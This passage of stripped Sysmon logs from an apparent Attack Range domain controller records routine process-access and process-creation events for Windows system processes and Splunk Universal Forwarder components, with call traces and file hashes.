NEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006078Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006077Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006076Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006075Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006074Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006073Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006072Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.367{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2A4B-5F80-5B01-000000007F01}3764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000006071Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.367{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2A4B-5F80-5B01-000000007F01}3764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000006070Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.367{A5F018FF-2A4B-5F80-5B01-000000007F01}3764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000006097Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:56.148{A5F018FF-2A4B-5F80-5C01-000000007F01}41443516C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006110Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:57.335{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2A4D-5F80-5D01-000000007F01}4188C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006109Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:57.335{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006108Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:57.335{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006107Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:57.335{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006106Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:57.335{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006105Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:57.335{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006104Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:57.335{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006103Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:57.335{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006102Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:57.335{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006101Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:57.335{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006100Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:57.335{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2A4D-5F80-5D01-000000007F01}4188C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000006099Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:57.335{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2A4D-5F80-5D01-000000007F01}4188C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000006098Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:57.336{A5F018FF-2A4D-5F80-5D01-000000007F01}4188C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000006137Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.834{A5F018FF-2A84-5F80-5F01-000000007F01}42121188C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006136Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.693{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2A84-5F80-5F01-000000007F01}4212C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006135Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.693{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006134Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 